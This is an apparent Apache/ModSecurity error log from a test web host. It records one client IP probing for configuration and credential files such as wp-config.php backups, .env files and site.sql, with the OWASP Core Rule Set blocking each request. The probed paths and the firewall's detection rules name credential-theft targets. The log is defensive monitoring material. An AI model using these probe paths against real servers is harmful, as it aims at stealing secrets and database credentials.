[Sun Jun 29 20:24:42.116245 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/site.conf&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VQgAAAAs&quot;]
[Sun Jun 29 20:24:42.138471 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/site.sql&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VQwAAAAs&quot;]
[Sun Jun 29 20:24:42.138838 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/site.sql&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VQwAAAAs&quot;]
[Sun Jun 29 20:24:42.139036 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/site.sql&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VQwAAAAs&quot;]
[Sun Jun 29 20:24:42.161316 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /web/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/wp-config.php&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VRAAAAAs&quot;]
[Sun Jun 29 20:24:42.161591 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/wp-config.php&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VRAAAAAs&quot;]
[Sun Jun 29 20:24:42.161795 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/wp-config.php&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VRAAAAAs&quot;]
[Sun Jun 29 20:24:42.184315 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/wp-config.php.old&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VRQAAAAs&quot;]
[Sun Jun 29 20:24:42.184501 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /web/wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/wp-config.php.old&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VRQAAAAs&quot;]
[Sun Jun 29 20:24:42.184734 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/wp-config.php.old&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VRQAAAAs&quot;]
[Sun Jun 29 20:24:42.184932 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/wp-config.php.old&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VRQAAAAs&quot;]
[Sun Jun 29 20:24:42.207593 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /website/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VRgAAAAs&quot;]
[Sun Jun 29 20:24:42.207844 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VRgAAAAs&quot;]
[Sun Jun 29 20:24:42.208059 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/website/.env&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VRgAAAAs&quot;]
[Sun Jun 29 20:24:42.230626 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wordpress/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VRwAAAAs&quot;]
[Sun Jun 29 20:24:42.230867 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VRwAAAAs&quot;]
[Sun Jun 29 20:24:42.231058 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wordpress/.env&quot;] [unique_id &quot;aGGE6t8ZUWE-JFfvKe2VRwAAAAs&quot;]
[Sun Jun 29 20:24:46.959291 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aGGE7t8ZUWE-JFfvKe2VSQAAAAs&quot;]
[Sun Jun 29 20:24:46.959531 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aGGE7t8ZUWE-JFfvKe2VSQAAAAs&quot;]
[Sun Jun 29 20:24:46.959756 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php&quot;] [unique_id &quot;aGGE7t8ZUWE-JFfvKe2VSQAAAAs&quot;]
[Sun Jun 29 20:24:46.981984 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aGGE7t8ZUWE-JFfvKe2VSgAAAAs&quot;]
[Sun Jun 29 20:24:46.982138 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aGGE7t8ZUWE-JFfvKe2VSgAAAAs&quot;]
[Sun Jun 29 20:24:46.982389 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aGGE7t8ZUWE-JFfvKe2VSgAAAAs&quot;]
[Sun Jun 29 20:24:46.982576 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.bak&quot;] [unique_id &quot;aGGE7t8ZUWE-JFfvKe2VSgAAAAs&quot;]
[Sun Jun 29 20:24:47.004776 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aGGE798ZUWE-JFfvKe2VSwAAAAs&quot;]
[Sun Jun 29 20:24:47.004955 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aGGE798ZUWE-JFfvKe2VSwAAAAs&quot;]
[Sun Jun 29 20:24:47.005189 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aGGE798ZUWE-JFfvKe2VSwAAAAs&quot;]
[Sun Jun 29 20:24:47.005380 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.old&quot;] [unique_id &quot;aGGE798ZUWE-JFfvKe2VSwAAAAs&quot;]
[Sun Jun 29 20:24:47.027513 2025] [:error] [pid 3205369] [client 185.177.72.107:65452] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-config.php.swp&quot;] [unique_id &quot;aGGE798ZUWE-JFfvKe2VTAAAAAs&quot;]
